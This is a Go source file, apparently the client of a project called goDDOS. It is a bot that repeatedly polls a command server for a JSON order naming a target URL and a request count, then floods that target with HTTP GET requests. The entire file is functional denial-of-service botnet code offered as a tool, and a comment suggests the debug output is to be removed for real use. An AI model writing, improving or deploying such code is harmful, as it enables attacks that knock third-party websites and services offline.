goDDOS/v2/client/main.go
v2/client/main.goRaw
1package main
2
3import (
4 "encoding/json"
5 "fmt"
6 "log"
7 "net/http"
8 "strconv"
9 "time"
10
11 "github.com/fatih/color"
12)
13
14const SERVER = "127.0.0.1:3000"
15const sleeptime = 3000
16
17type Order struct {
18 Target string `json:"target"`
19 Count int `json:"count"`
20}
21
22var order Order
23
24/*
25 note: all the fmt.Println, color.Green/Blue/Red... and log.Panic, are just to run in development
26*/
27
28func runDos(target string, count int) {
29 for i := 0; i < count; i++ {
30 _, err := http.Get(target)
31 if err != nil {
32 fmt.Println(err)
33 }
34 color.Blue("request " + strconv.Itoa(i) + "/" + strconv.Itoa(count) + " to " + target)
35 }
36 fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
37 color.Green(" - all requests finalized")
38}
39func main() {
40 for {
41 fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
42 fmt.Println(" - getting order from server")
43 res, err := http.Get("http://" + SERVER)
44 if err != nil {
45 fmt.Println("server not alive")
46 time.Sleep(sleeptime * time.Millisecond)
47 continue
48 }
49 decoder := json.NewDecoder(res.Body)
50 err = decoder.Decode(&order)
51 if err != nil {
52 log.Panic(err)
53 }
54 if order.Target != "" {
55 fmt.Print(time.Now().Format("2006-01-02 15:04:05"))
56 color.Yellow("running Dos")
57 runDos(order.Target, order.Count)
58 }
59 time.Sleep(sleeptime * time.Millisecond)
60 }
61}